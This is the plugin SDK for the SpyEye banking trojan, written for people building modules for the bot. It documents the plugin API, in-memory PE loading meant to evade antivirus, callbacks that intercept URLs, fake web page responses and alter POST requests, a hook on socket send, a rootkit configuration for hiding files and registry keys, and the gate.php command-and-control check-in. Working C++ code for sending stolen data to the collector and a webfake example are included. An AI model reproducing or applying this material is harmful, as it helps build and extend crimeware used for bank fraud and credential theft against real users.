SpyEye Plugin's SDK

Introduction

The idea is that a functional bot should not be restricted by its author. In this regard, in SpyEye now are supported modules (plugin) by third-party developers.

I.e. a third-party developer has an opportunity to connect code to the troyan. In this case, the "container" of the code is a DLL.

The plugin consists of two files. That is, in fact, a DLL and its configuration. The name of the DLL file is the name of the plugin. Config file name is the name of the DLL file with the postfix .cfg (for example, if a plugin is called socks.dll, then the configuration of this plugin should be called socks.dll.cfg)

Plugin config - this is a text file, content of which is the argument of the function Init.

In total, there are 3 functions, that must be declared in a DLL export table. They are Init, Start and Stop. Start and Stop are needed to run de plugin from the main admin panel (see the corresponding menu - Plugins).

Plugins are divided into two types:

To run the plugins, SpyEye doesn't use the standard PE loader OS Windows, because the Win API does not provide functions to download an executable file from memory (forcing with this to store the DLL on disk and use ntdll!LdrLoadDll). Naturally, it does not suit us, as the signature-based AV-scanners will detect the plugin executable files. Therefore, SpyEye has its own PE loader, to run plugins code from memory, bypassing the dump to disk. I.i. crypting the DLL is not needed.

Plugins are stored in the bot config. It is convenient because there's no need to hitch a plugin in the bot executable file. Thus, we can reduce the file size of the bot, keeping the heavy plugin configuration. I.e. after starting on the holder's machine, with a tighten bot config and start from there the plugins.

API : Calling convention

The calling convention, used in the plugins functions, must be strictly cdecl.

API : Init

BOOL Init(char *szConfig)

szConfig null-terminated string, whos content is the plugin's config.

The function is called once a bot, in the context of a single process. Call occurs in a separate thread.

API : Start

BOOL Start()

Function call is initiated by a command from the gate of the main control panel. Call occurs in a separate thread.

API : Stop

BOOL Stop()

Function call is initiated by a command from the gate of the main control panel. As well as in the case of bot config update or the update of the bot itself. Call occurs in a separate thread, but serves to plugin uninstall when you upgrade the config or the executable code of the bot.

API : TakeGateToCollector

void TakeGateToCollector(void *lpGateFunc)

lpGateFunc

A pointer to a function with the following prototype:

typedef void (*GATETOCOLLECTOR)(IN PBYTE pbData, IN DWORD dwSize)

This feature can cause the plugin to pass the information to the collector.

Protocol is the following:

[Null-Terminated-String:NameOfTable]
[DWORD:CountOfFields]
--- field1 ---
[Null-Terminated-String:NameOfField]
[DWORD:SizeOfField]
[BYTE-Array:FiledData]
---
--- field2 ---
...
---

Function is executed before calling Init. Returns only one parameter - a pointer to the gate-function, sending the data through which is carried out in a separate thread.

Before sending data, you need to configure the collector in a certain way. Namely, in the tables folder you need to put an *.sql file with the create table script.

For example: table_test.sql

  1. CREATE TABLE IF NOT EXISTS `test` (
  2.   `id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  3.   `test` VARCHAR(40) NOT NULL,
  4.   `date_rep` datetime NOT NULL,
  5.   PRIMARY KEY  (`id`)
  6. ) ENGINE=MyISAM  DEFAULT CHARSET=latin1 ;

In this case, if you call the gate-function with the following arguments:

74 65 73 74 00 01 00 00 00 74 65 73 74 00 05 00 00 00 74 61 64 61 21

The Collector then inserts the data into a table test. And, there will be a type record:

+----+-------+---------------------+
| id | test  | date_rep            |
+----+-------+---------------------+
| 1  | tada! | 2006-04-02 22:20:15 |
+----+-------+---------------------+

For the convenience of generating gate-function arguments, you can write some auxiliary code types

includes.h:

  1. #include <windows.h>
  2.  
  3. // ---
  4.  
  5. #define InitializeListHead(ListHead) (\
  6.     (ListHead)->Flink = (ListHead)->Blink = (ListHead))
  7.  
  8. #define IsListEmpty(ListHead) \
  9.     ((ListHead)->Flink == (ListHead))
  10.  
  11. #define RemoveHeadList(ListHead) \
  12.     (ListHead)->Flink;\
  13. {RemoveEntryList((ListHead)->Flink)}
  14.  
  15. #define RemoveTailList(ListHead) \
  16.     (ListHead)->Blink;\
  17. {RemoveEntryList((ListHead)->Blink)}
  18.  
  19. #define RemoveEntryList(Entry) {\
  20.     PLIST_ENTRY _EX_Blink;\
  21.     PLIST_ENTRY _EX_Flink;\
  22.     _EX_Flink = (Entry)->Flink;\
  23.     _EX_Blink = (Entry)->Blink;\
  24.     _EX_Blink->Flink = _EX_Flink;\
  25.     _EX_Flink->Blink = _EX_Blink;\
  26. }
  27.  
  28. #define InsertTailList(ListHead,Entry) {\
  29.     PLIST_ENTRY _EX_Blink;\
  30.     PLIST_ENTRY _EX_ListHead;\
  31.     _EX_ListHead = (ListHead);\
  32.     _EX_Blink = _EX_ListHead->Blink;\
  33.     (Entry)->Flink = _EX_ListHead;\
  34.     (Entry)->Blink = _EX_Blink;\
  35.     _EX_Blink->Flink = (Entry);\
  36.     _EX_ListHead->Blink = (Entry);\
  37. }
  38.  
  39. #define InsertHeadList(ListHead,Entry) {\
  40.     PLIST_ENTRY _EX_Flink;\
  41.     PLIST_ENTRY _EX_ListHead;\
  42.     _EX_ListHead = (ListHead);\
  43.     _EX_Flink = _EX_ListHead->Flink;\
  44.     (Entry)->Flink = _EX_Flink;\
  45.     (Entry)->Blink = _EX_ListHead;\
  46.     _EX_Flink->Blink = (Entry);\
  47.     _EX_ListHead->Flink = (Entry);\
  48. }
  49.  
  50. #define PopEntryList(ListHead) \
  51.     (ListHead)->Next;\
  52. {\
  53.     PSINGLE_LIST_ENTRY FirstEntry;\
  54.     FirstEntry = (ListHead)->Next;\
  55.     if (FirstEntry != NULL) {     \
  56.     (ListHead)->Next = FirstEntry->Next;\
  57.     }                             \
  58. }
  59.  
  60. #define PushEntryList(ListHead,Entry) \
  61.     (Entry)->Next = (ListHead)->Next; \
  62.     (ListHead)->Next = (Entry)
  63.  

minisausage.h:

  1. #pragma once
  2.  
  3. #include "includes.h"
  4.  
  5. class CMiniSausage
  6. {
  7. public:
  8.         PLIST_ENTRY m_plMiniSausage;
  9.        
  10.         CMiniSausage()
  11.         {
  12.                 m_plMiniSausage = NULL;
  13.         }
  14.         bool AddField(PCHAR szFieldName, DWORD dwFieldSize, PBYTE pbData);
  15.         void FreeAll();
  16.         bool GetBuff(IN PCHAR szTableName, OUT PBYTE *lppbData, OUT PDWORD pdwDataSize);
  17. };
  18.  
  19. struct MiniSausage
  20. {
  21.         PCHAR szFieldName;
  22.         DWORD dwFieldSize;
  23.         PBYTE pbData;
  24.         // ---
  25.         LIST_ENTRY _p;
  26. };
  27. typedef MiniSausage *PMiniSausage;
  28. extern PLIST_ENTRY m_plMiniSausage;
  29. #define GetMiniSausageBuffer(ListEntryAddress) (PMiniSausage)((PBYTE)ListEntryAddress - (sizeof(MiniSausage) - sizeof(LIST_ENTRY)));

minisausage.cpp:

  1. #include "includes.h"
  2.  
  3. #include "minisausage.h"
  4.  
  5. bool CMiniSausage::AddField(PCHAR szFieldName, DWORD dwFieldSize, PBYTE pbData)
  6. {
  7.         PMiniSausage msTmp                              =       NULL;
  8.         DWORD dwFieldNameSize;
  9.  
  10.         do
  11.         {
  12.                 msTmp = (PMiniSausage)malloc(sizeof(MiniSausage));
  13.                 if (!msTmp)
  14.                         break;
  15.                 ZeroMemory(msTmp, sizeof(MiniSausage));
  16.                 dwFieldNameSize = (DWORD)strlen(szFieldName);
  17.                 if ( !(msTmp->szFieldName = (PCHAR)malloc(dwFieldNameSize + 1)) )
  18.                         break;
  19.                 strcpy(msTmp->szFieldName, szFieldName);
  20.                 if ( !dwFieldSize || !(msTmp->pbData = (PBYTE)malloc(dwFieldSize)) )
  21.                         break;
  22.                 msTmp->dwFieldSize = dwFieldSize;
  23.                 CopyMemory(msTmp->pbData, pbData, dwFieldSize);
  24.                 // ~~~
  25.                 if (!m_plMiniSausage)  {
  26.                         m_plMiniSausage = &msTmp->_p;
  27.                         InitializeListHead(m_plMiniSausage);
  28.                 }
  29.                 else {
  30.                         InsertHeadList(m_plMiniSausage->Blink, &msTmp->_p);
  31.                 }
  32.                 return true;
  33.         }
  34.         while (FALSE);
  35.  
  36.         if (msTmp) {
  37.                 free(msTmp->szFieldName);
  38.                 free(msTmp->pbData);
  39.         }
  40.         free(msTmp);
  41.         return false;
  42. }
  43.  
  44. void CMiniSausage::FreeAll()
  45. {
  46.         if (!m_plMiniSausage)
  47.                 return;
  48.         PMiniSausage pCurrent = NULL;
  49.  
  50.         for ( ; !IsListEmpty(m_plMiniSausage); free(pCurrent))
  51.         {
  52.                 pCurrent = GetMiniSausageBuffer(m_plMiniSausage->Blink);
  53.                 free(pCurrent->szFieldName);
  54.                 free(pCurrent->pbData);
  55.                 RemoveTailList(m_plMiniSausage);
  56.         }
  57.         if (!pCurrent)
  58.                 return;
  59.         pCurrent = GetMiniSausageBuffer(m_plMiniSausage);
  60.         free(pCurrent->szFieldName);
  61.         free(pCurrent->pbData);
  62.         free(pCurrent);
  63. }
  64.  
  65. bool CMiniSausage::GetBuff(IN PCHAR szTableName, OUT PBYTE *lppbData, OUT PDWORD pdwDataSize)
  66. {
  67.         PMiniSausage pCurrent;
  68.         DWORD dwFieldsCount;
  69.         // Counting size
  70.         *pdwDataSize = 0;
  71.         dwFieldsCount = 0;
  72.         for ( PLIST_ENTRY plTmp = m_plMiniSausage; plTmp != m_plMiniSausage || !*pdwDataSize; plTmp = plTmp->Flink, dwFieldsCount++ )
  73.         {
  74.                 pCurrent = GetMiniSausageBuffer(plTmp);
  75.                 *pdwDataSize += strlen(pCurrent->szFieldName) + 1;
  76.                 *pdwDataSize += sizeof(pCurrent->dwFieldSize);
  77.                 *pdwDataSize += pCurrent->dwFieldSize;
  78.         }
  79.         *pdwDataSize += strlen(szTableName) + 1;
  80.         *pdwDataSize += sizeof(dwFieldsCount);
  81.         // Making buffer
  82.         *lppbData = (PBYTE)malloc(*pdwDataSize);
  83.         if (!*lppbData)
  84.                 return false;
  85.         DWORD dwPointer = 0;
  86.         for ( PLIST_ENTRY plTmp = m_plMiniSausage; plTmp != m_plMiniSausage || !dwPointer; plTmp = plTmp->Flink )
  87.         {
  88.                 pCurrent = GetMiniSausageBuffer(plTmp);
  89.                 if (!dwPointer)
  90.                 {
  91.                         CopyMemory(*lppbData + dwPointer, szTableName, strlen(szTableName) + 1);
  92.                         dwPointer += strlen(szTableName) + 1;
  93.                         CopyMemory(*lppbData + dwPointer, &dwFieldsCount, sizeof(dwFieldsCount));
  94.                         dwPointer += sizeof(dwFieldsCount);
  95.                 }
  96.                 CopyMemory(*lppbData + dwPointer, pCurrent->szFieldName, strlen(pCurrent->szFieldName) + 1);
  97.                 dwPointer += strlen(pCurrent->szFieldName) + 1;
  98.                 CopyMemory(*lppbData + dwPointer, &pCurrent->dwFieldSize, sizeof(pCurrent->dwFieldSize));
  99.                 dwPointer += sizeof(pCurrent->dwFieldSize);
  100.                 CopyMemory(*lppbData + dwPointer, pCurrent->pbData, pCurrent->dwFieldSize);
  101.                 dwPointer += pCurrent->dwFieldSize;
  102.         }
  103.         return true;
  104. }

Example of use:

sausage_sample.cpp:

  1.         CHAR szStr[] = { "tada!" };
  2.         PBYTE pbData;
  3.         DWORD dwBufferSize;
  4.  
  5.         CMiniSausage MiniSausage;
  6.         MiniSausage.AddField("test", sizeof(szStr) - 1, (PBYTE)szStr);
  7.         if (MiniSausage.GetBuff("test", &pbData, &dwBufferSize))
  8.         {
  9.                 // Sending data here
  10.         }
  11.         MiniSausage.FreeAll();

API : TakeGateToCollector2

void TakeGateToCollector2(void *lpGateFunc2)

Analog functions TakeGateToCollector. The only difference is that the sending of data is in the current, rather than the additional flow.

API : TakeBotGuid

VOID TakeBotGuid(IN PCHAR szBotGuid)

szBotGuid

null-terminated string, representing a unique identifier for a bot.

* Maximum size - 80 characters

Function is executed before calling Init.

API : TakeBotPath

VOID TakeBotPath(IN PCHAR szBotPath)

szBotPath

null-terminated string, representing the path to the bot.

* Maximum size - 260 characters

Function is executed before calling Init.

API : TakeBotVersion

VOID TakeBotVersion(IN DWORD dwBotVersion)

dwBotVersion

A number that represents the version of the bot.

To get the current version of the bot in a legible form, convert this number to decimal form and put down the dividing point for every even level for this number. For example:

0x0000283B -> 10299 -> "v1.2.99"

Function is executed before calling Init.

API : GetState

DWORD GetState()

Return Value

The values of this number represent the state in which the plug-in is. Differ by only two states: OFF and ON. Respectively:

  1. typedef enum {
  2.         PLUGIN_OFF,     // Plugin "off". Function Start() not called
  3.         PLUGIN_ON       // Plugin "on". Function Start() to be called
  4. } PLUGINState;

This feature can be used to prevent the plugin callback functions Start and Stop. For example, if is called the Start function from the function Init (if the plugin is autorun), the plugin can return the state PLUGIN_ON, to prevent the call of Start function, even if the command will come out of the control panel.

API : KeepAlive

BOOL KeepAlive()

Return Value

Flag for the unload ability of the plugin executable code from the address space of its process.

If the plugin returns TRUE when calling this function, SpyEye will not reload the executable from the current process for config update or bot executable code.

API : IsGlobal

BOOL IsGlobal()

Return Value

A flag that determines whether to execute the plugin code in all processes available for injecting.

API : Callback_OnBeforeProcessUrl

VOID Callback_OnBeforeProcessUrl(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szHeaders, IN PCHAR szPostVars, OUT PDWORD lpdwProcessMode)

szUrl

URL

szVerb

Type of request (GET or POST)

szHeaders

HTTP-request header

szPostVars

If the query type = POST, it contains szPostVars POST-parameter requests

lpdwProcessMode

Pointer to a DWORD-variable, defining the callback, is called to the current resource.

Accepted values:

  1. typedef enum {
  2.         DO_NOTHING,                     // Do nothing
  3.         PROCESS_BEFORELOADPAGE,         // Invoke the callback Callback_OnBeforeLoadPage3 for the current resource
  4.         PROCESS_AFTERLOADINGPAGE       // Invoke the callback Callback_OnAfterLoadingPage for the current resource
  5. } PROCESSMode;

API : Callback_OnBeforeLoadPage3

VOID Callback_OnBeforeLoadPage3(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szHeaders, IN PCHAR szPostVars, OUT PCHAR *lpszContent, OUT PDWORD lpdwSize)

szUrl

URL

szVerb

Query type (GET or POST)

szHeaders

HTTP-header request

szPostVars

If the query type = POST, it contains szPostVars POST-parameter request

lpszContent

Pointer to a null-terminated string, which contains webserver's fake response (with the HTTP-header).

lpdwSize

Pointer to a DWORD, which stores the string size, stored at lpszContent address.

* Plugin own memory manager must allocate memory and assign its address to a pointer lpszContent. Consequently, plugin must provide an address at a function to release memory at this address. Because with it, to avoid memory leaks, plug-in should determine the function FreeMem.

API : Callback_OnAfterLoadingPage

VOID Callback_OnAfterLoadingPage(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szHeaders, IN PCHAR szPageContent, OUT PCHAR * szOut, IN OUT PDWORD lpdwSize)

szUrl

URL

szVerb

Query type (GET or POST)

szHeaders

HTTP-header request

szPageContent

Pages content (without HTTP-header)

szOut

Pointer to a null-terminated string, where the plugin can return page fake content (without HTTP-header)

lpdwSize

Pointer to a DWORD, which stores the size of szPageContent

* By using this callback, should imperatively declared the FreeMem function (for reason see the Callback_OnBeforeLoadPage3 callback)

* These pages are transferred to the callback AFTER applying the webinjects (if any were specified in the rules file webinjects.txt)

API : Callback_ChangePostRequest

VOID Callback_ChangePostRequest(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szInPostVars, IN DWORD dwInPostVarsSize, OUT PCHAR * szOutPostVars, OUT PDWORD lpdwOutPostVarsSize)

szUrl

URL

szVerb

Query type (GET or POST)

szInPostVars

null-terminated string, which contains the settings for the current POST-request

dwInPostVarsSize

DWORD, which stores the size of szInPostVars

szOutPostVars

Pointer to a null-terminated string, where the plugin can return the fake parameters of the POST-request

lpdwOutPostVarsSize

Pointer to a DWORD, which stores the size of szOutPostVars

* If you use this callback, it is strongly recommended to declare a FreeMem function (for reason see the Callback_OnBeforeLoadPage3 callback)

API : FreeMem

VOID FreeMem(IN LPVOID lpMem)

lpMem

Pointer to the dynamic memory, in which stands the plugin.

API : TakeGetPage

VOID TakeGetPage(IN LPVOID lpGetPageFunc)

lpGetPageFunc

A pointer to a function with the following prototype:

typedef BOOL (*GETPAGE)(IN PCHAR szURLPage, OUT PBYTE *lppbData, OUT PDWORD lpdwSize, IN PCHAR szHeaders)

This function deals with downloading resources on the protocol HTTP/HTTPS. Has the following parameters:

szURLPage

URL downloadable resource

lppbData

Pointer to a PBYTE, pointing to the downloaded content of the resource

lpdwSize

Pointer to a DWORD, which contains the lppbData size

szHeaders

null-terminated string to send the request-headers, when downloading szURLPage.
Attention! If this parameter is not NULL, it will be place in lppbData and Response Headers

Return Value

Accordingly, the function returns TRUE on success and FALSE on failure

* Pointer values lppbData & lpdwSize are equal to NULL prior to any action.

Function is executed before calling Init.

If the plugin uses lpGetPageFunc, in order to avoid memory leaks, the plugin will need to remove the allocated memory by lppbData pointer. To obtain the address of a function, dealing with memory release, need to declare the TakeFreeMem callback.

API : TakeGetPage2

VOID TakeGetPage2(IN LPVOID lpGetPage2Func)

lpGetPage2Func

A pointer to a function with the following prototype:

BOOL GetPage2(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szRequestHeaders, IN BOOL bReadResponseHeaders, IN LPVOID lpOptional, DWORD dwOptionalLength, OUT PBYTE *pbData, OUT PDWORD dwSize)

This feature is an enhanced version of the GetPage() function. Has the following parameters:

szUrl

URL downloadable resource

szVerb

HTTP-request method ("GET" or "POST")

szRequestHeaders

null-terminated string to send the request-headers, and download szUrl

bReadResponseHeaders

A flag, that determines whether to place the Response-headers in pbData

lpOptional

POST request data (if in szVerb is specified "POST")

dwOptionalLength

lpOptional size

lppbData

Pointer to a PBYTE, pointing to the downloaded content of the resource

lpdwSize

Pointer to a DWORD, which contains the lppbData size

Function is executed before calling Init.

API : TakeFreeMem

VOID FreeMem(IN LPVOID lpFreeMemFunc)

lpFreeMemFunc

A pointer to a function with the following prototype:

typedef VOID (*FREE)(IN LPVOID lpMem)

The function frees the dynamic memory by lpFreeMemFunc pointer. Used in the SpyEye memory manager.

Function is executed before calling Init.

API : Callback___WS2_32___send

BOOL Callback___WS2_32___send(IN LPVOID lpOriginalFunction, IN SOCKET s, IN const char *buf, IN int size, IN int flags, OUT LPVOID lpReturn)

lpOriginalFunction

Function ws2_32!send pointer

s, buf, size, flags

Function ws2_32!send arguments

lpReturn

The result of ws2_32!send

Return Value

Only if TRUE, the result of the original ws2_32!send will be substituted for *lpReturn

Such a callback is needed for plugin to have the opportunity to receive input and to change output parameters of the ws2_32!send function. Actually, this follows from its name.

Thise callback was created to avoid the conflicts if the plugin wants to splice the ws2_32!send function.

API : TakeConfigCrc32Callback

VOID TakeConfigCrc32Callback(IN LPVOID lpFunc)

lpFunc

A pointer to a function with the following prototype:

typedef BOOL (__cdecl *GETCONFIGCRC32)(OUT PDWORD pdwCrc32)

This function can be used to determine the current plugin CRC32 (identificator) of the bot config file config.bin. Has the following parameters:

pdwCrc32

Pointer to a DWORD, in which is written the config CRC32

Function is executed before calling Init.

API : TakeBotExeMd5Callback

VOID TakeBotExeMd5Callback(IN LPVOID lpFunc)

lpFunc

A pointer to a function with the following prototype:

typedef BOOL (__cdecl *GETBOTEXEMD5)(OUT PCHAR szMd5);

This function can be used to determine the plugin MD5 (identificator) of the principal bot executable file. Has the following parameters:

szMd5

A pointer to a null-terminated string, where is written the bot exe MD5.
The string must be at least 33 bytes

Function is executed before calling Init.

API : TakePluginsListCallback

VOID TakePluginsListCallback(IN LPVOID lpFunc)

lpFunc

A pointer to a function with the following prototype:

typedef BOOL (__cdecl *GETPLUGINSLIST)(OPTIONAL OUT PCHAR szPluginsList, IN OUT PDWORD pdwSize, OPTIONAL OUT PBOOL pblPluginsStat, IN OUT PDWORD pdwSizeStat);

This feature can be used by plugin for information about plugins and their status. Has the following parameters:

szPluginsList

Pointer to a null-terminated string, in which is written info about the plugin name in your config.
The size of the string can be defined specifying NULL for this parameter. In this case, the size of the resulting string is written in the pdwSize parameter (taking into account the terminating null-character)

pdwSize

Pointer to a DWORD, which determines the size of the szPluginsList parameter

pblPluginsStat

Pointer to a BOOL-array, in which is written the plugin status (FALSE - plugin is disabled; TRUE - plugin is included).
Size is defined by analogy with szPluginsList

pdwSizeStat

Pointer to a DWORD, which determines the size of the pblPluginsStat parameter

Return Value

FALSE is returned only if the szPluginsList or pblPluginsStat could not put the info. GetLastError() in this case returns ERROR_MORE_DATA

Function is executed before calling Init.

API : TakeMainCpGateOutputCallback

VOID TakeMainCpGateOutputCallback(IN LPVOID lpFunc)

lpFunc

A pointer to a function with the following prototype:

typedef VOID (__cdecl *MAINCPGATEOUTPUT)(IN PBYTE pbData, IN DWORD dwSize);

The plugin calls this function to transmit to bot info from the main control panel. In addition, the plugin can generate the input parameters to control the bot. The function has the following parameters:

pbData

Pointer to a null-terminated string (because the bot communication protocol from the main control panel - text), which contains certain commands.
A list of commands, as well as a description of the protocol, see the relevant FAQ section

dwSize

pbData size

Function is executed before calling Init.

API : MainCpGateInput

This function is similar to that used in the TakeMainCpGateOutputCallback callback. Unlike in the appointment. Bot calls it when it wants to transmit info to the main control panel

API : TakeUpdateBotExe

VOID TakeUpdateBotExe(IN LPVOID lpFunc)

lpFunc

A pointer to a function with the following prototype:

typedef BOOL (__cdecl *UPDATEBOTEXE)(IN PBYTE pbData, IN DWORD dwSize, IN BOOL bUseBuildinPeLoader, IN BOOL bReplaceBotExe, IN DWORD dwTaskId);

This function can be used by plugins to update the bot exe. Has the following parameters:

pbData

Pointer to the bot exe data (data should be PE-format).

dwSize

pbData size, in bytes.

bUseBuildinPeLoader

If TRUE, the bot will runfrom memory (through PE-loader), without dump to disk, using kernel32!CreateProcess().

bReplaceBotExe

If TRUE, the bot will replace its own exe, without running it. If FALSE and bUseBuildinPeLoader = FALSE, the exe's are dumped in the temp-dir, and then are run through kernel32!CreateProcess().

* Note. When using PE-loader, the exe's entry point should be strictly a prototype:

typedef VOID (__stdcall *EMPTYENTRYPOINT)();

dwTaskId

Unique job identifier, used by the bot, to send information about the progress of its implementation.

API : TakeUpdateConfig

VOID TakeUpdateConfig(IN LPVOID lpFunc)

lpFunc

A pointer to a function with the following prototype:

typedef BOOL (__cdecl *UPDATECONFIG)(IN PBYTE pbData, IN DWORD dwSize, IN DWORD dwTaskId);

This function can be used by plugins to update the bot config.bin. Has the following parameters:

pbData

Pointer to the bot config.bin data.

dwSize

pbData size, in bytes.

dwTaskId

Unique job identifier, used by the bot, to send information about the progress of its implementation.

API : TakeStartExe

VOID TakeStartExe(IN LPVOID lpFunc)

lpFunc

A pointer to a function with the following prototype:

typedef BOOL (__cdecl *STARTEXE)(IN PBYTE pbData, IN DWORD dwSize, IN BOOL bUseBuildinPeLoader, IN DWORD dwTaskId);

This function can be used by the plugin to run a third-party exe. Has the following options:

pbData

Pointer to the bot exe data (data should be PE-format).

dwSize

pbData size, in bytes.

bUseBuildinPeLoader

If TRUE, the exe will run from memory (through PE-loader), without dump to disk, using kernel32!CreateProcess().

* Note. When using PE-loader, the exe's entry point should be strictly a prototype:

typedef VOID (__stdcall *EMPTYENTRYPOINT)();

dwTaskId

Unique job identifier, used by the bot, to send information about the progress of its implementation.

API : TakeGatePipeSendMsg

VOID TakeGatePipeSendMsg(IN LPVOID lpFunc)

lpFunc

A pointer to a function with the following prototype:

typedef VOID (__cdecl *GATEPAGESENDMSG)(IN BOOL isOutput, IN PCHAR szMessage);

This feature can be used to control plugins such as customconnector. With its help you can control, and any other plug-ins, keeping the internal bot protocol described in the customconnector section. Has the following options:

isOutput

If TRUE, the bot will call the MainCpGateOutput() callback in the main process.

If FALSE, the bot will call the MainCpGateInput() callback in the main process.

szMessage

Message, sent in one or another callback (defined by the argument isOutput).

Shellcodes - low-level plugins

These plugins are required during installation of the bot into the system. In v1.3 there are only two such plugins.

These shellcodes are in the bot exe resources. Scheme:

rsrc

Shellcode, as the container code, was not selected randomly. Its size is minimal (no PE-header, there is no section, imports table) and it just implements (no need to configure any relocation or imports table).

Thus, there is a low-level bot config. Part of it is given in the builder, in part is formed by ConfigShellcode. Config structure is the following:

  1. #pragma pack(push, 1)
  2.  
  3. struct TDropperConfig
  4. {
  5.     BYTE btReserved[4];
  6.     // Paths, files
  7.     CHAR szStartupExePath           [MAX_PATH];
  8.     CHAR szInstallDir               [MAX_PATH];
  9.     CHAR szBotFileName              [0x10];     // !add extension here
  10.     CHAR szConfigFileName           [0x10];
  11.     CHAR szBotUpdateFileName        [0x10];
  12.     CHAR szTempDir                  [MAX_PATH];
  13.     CHAR szLoaderExePrefix          [0x10];
  14.     // Guid
  15.     CHAR szBotGuid                  [0x40];
  16.     // Mutex
  17.     CHAR szBotMutex                 [0x20];
  18.     CHAR szUninstallMutex           [0x20];
  19.     CHAR szReloadConfigMutex        [0x20];
  20.     CHAR szReportAlreadySendedMutex [0x20];
  21.     // Enviroment variables
  22.     CHAR szConfigEncryptKeyVarName  [0x10];
  23.     // Rootkit options
  24.     CHAR szFilesToHide              [0x50];
  25.     BYTE btFilesToHidePointers      [0x10];
  26.     CHAR szRegKeysToHide            [0x50];
  27.     BYTE btRegKeysToHidePointers    [0x10];
  28. };
  29.  
  30. #pragma pack(pop)
  31.  

So, how is installed a bot?

How the low-level plugins can be used? Well, for example:

FAQ : How to implement webfakes?

Enough to use 3 callbacks:

In the first one - the plugin defines - whether to return the content of the fake for this resource or not.
In the second one - the plugin returns the content of the fake.
In the third one - the plugin releases the allocated memory which was used to store the content of the fake.

Here's an example that demonstrates the substitution of a picture:

  1.  
  2. // HTTP/1.1 200 OK
  3. // Server: nginx
  4. // Date: Wed, 10 Nov 2010 19:22:35 GMT
  5. // Content-Type: image/jpeg
  6. // Last-Modified: Wed, 10 Nov 2010 18:58:13 GMT
  7. // Expires: Fri, 10 Dec 2010 19:22:35 GMT
  8. // Cache-Control: max-age=2592000, public
  9. // Accept-Ranges: bytes
  10. // Connection: close
  11. // Content-Length: 6445
  12. //
  13. // ...
  14.  
  15. unsigned char data[6736] = {
  16.         0x48, 0x54, 0x54, 0x50, 0x2F, 0x31, 0x2E, 0x31, 0x20, 0x32, 0x30, 0x30, 0x20, 0x4F, 0x4B, 0x0D,
  17.         0x0A, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x3A, 0x20, 0x6E, 0x67, 0x69, 0x6E, 0x78, 0x0D, 0x0A,
  18.         0x44, 0x61, 0x74, 0x65, 0x3A, 0x20, 0x57, 0x65, 0x64, 0x2C, 0x20, 0x31, 0x30, 0x20, 0x4E, 0x6F,
  19.         0x76, 0x20, 0x32, 0x30, 0x31, 0x30, 0x20, 0x31, 0x39, 0x3A, 0x32, 0x32, 0x3A, 0x33, 0x35, 0x20,
  20.         0x47, 0x4D, 0x54, 0x0D, 0x0A, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x2D, 0x54, 0x79, 0x70,
  21.         0x65, 0x3A, 0x20, 0x69, 0x6D, 0x61, 0x67, 0x65, 0x2F, 0x6A, 0x70, 0x65, 0x67, 0x0D, 0x0A, 0x43,
  22.         0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x2D, 0x4C, 0x65, 0x6E, 0x67, 0x74, 0x68, 0x3A, 0x20, 0x36,
  23.         0x34, 0x34, 0x35, 0x0D, 0x0A, 0x4C, 0x61, 0x73, 0x74, 0x2D, 0x4D, 0x6F, 0x64, 0x69, 0x66, 0x69,
  24.         0x65, 0x64, 0x3A, 0x20, 0x57, 0x65, 0x64, 0x2C, 0x20, 0x31, 0x30, 0x20, 0x4E, 0x6F, 0x76, 0x20,
  25.         // ...
  26. };
  27.  
  28. DLLEXPORT void Callback_OnBeforeProcessUrl(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szHeaders, IN PCHAR szPostVars, OUT PDWORD lpdwProcessMode)
  29. {
  30.         if (!szUrl)
  31.                 return;
  32.         DebugWrite("[DEBUG] : szUrl == { %s }", szUrl);
  33.         if (strstr(szUrl, "CallbackOnBeforeLoadPage3"))
  34.                 *lpdwProcessMode = 1;
  35. }
  36.  
  37. DLLEXPORT void Callback_OnBeforeLoadPage3(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szHeaders, IN PCHAR szPostVars, OUT PCHAR * lpszContent, OUT PDWORD lpdwSize)
  38. {
  39.         DebugWrite("[DEBUG] : szUrl == { %s }", szUrl);
  40.  
  41.         *lpszContent = (PCHAR)malloc(sizeof(data));
  42.         if (!*lpszContent) {
  43.                 DebugWrite("[ERROR] : Achtung! : *lpszContent == NULL");
  44.                 return;
  45.         }
  46.         CopyMemory(*lpszContent, data, sizeof(data));
  47.         *lpdwSize = sizeof(data);
  48. }
  49.  
  50. DLLEXPORT void FreeMem(LPVOID lpMem)
  51. {
  52.         free(lpMem);
  53. }

Strictly speaking, if to any picture to add in a URL string, "CallbackOnBeforeLoadPage3", the plugin returns the content of the fake. Example:

Original image:

white rabbit

Fake image, that is returned by the plugin:

fake cookies

FAQ : Why do I need a customtsonnector plugin?

Starting with v1.3, SpyEye uses a separate plugin for communicating with the main control panel.

At the moment, is used the following protocol for communication with the admin. The bot, over an interval, sends such info to the gate:

> gate.php?guid=!USER-5C377A2CCF!046502F4&ver=10207&stat=ONLINE&ie=6.0.2900.2180&os=5.1.2600&ut=Admin&ccrc=13A7F1B3&md5=b9c3cb2cdc66b1f4465fe56cc34040b2&plg=customconnector

This is a HTTP-GET request, which can be segmented into the following variables:

The first five variables are mandatory. The admin panel, analyzing their meaning, can issue the following commands:

To find the values for each of them, the plugin uses the appropriate API:

Other variables (stat, ie, os, ut) don't require to receive infos from the bot (not mandatory), and therefore are generated by the plugin.

Schematically, the plugin looks like this:

schemecustomconnector

Protocol to receive commands from SpyEye - text. That is, to gate.php is sent a HTTP-GET request, and, if the bot needs to perform some action, then the customconnector.dll causes MainCpGateOutput. Below are the command types transmitted by MainCpGateOutput for a particular command

If SpyEye wants to send info to the main admin panel. For example, the status of a job, that was executed by the bot, then he calls MainCpGateInput. Variables format is the same as in the case of HTTP-GET request.

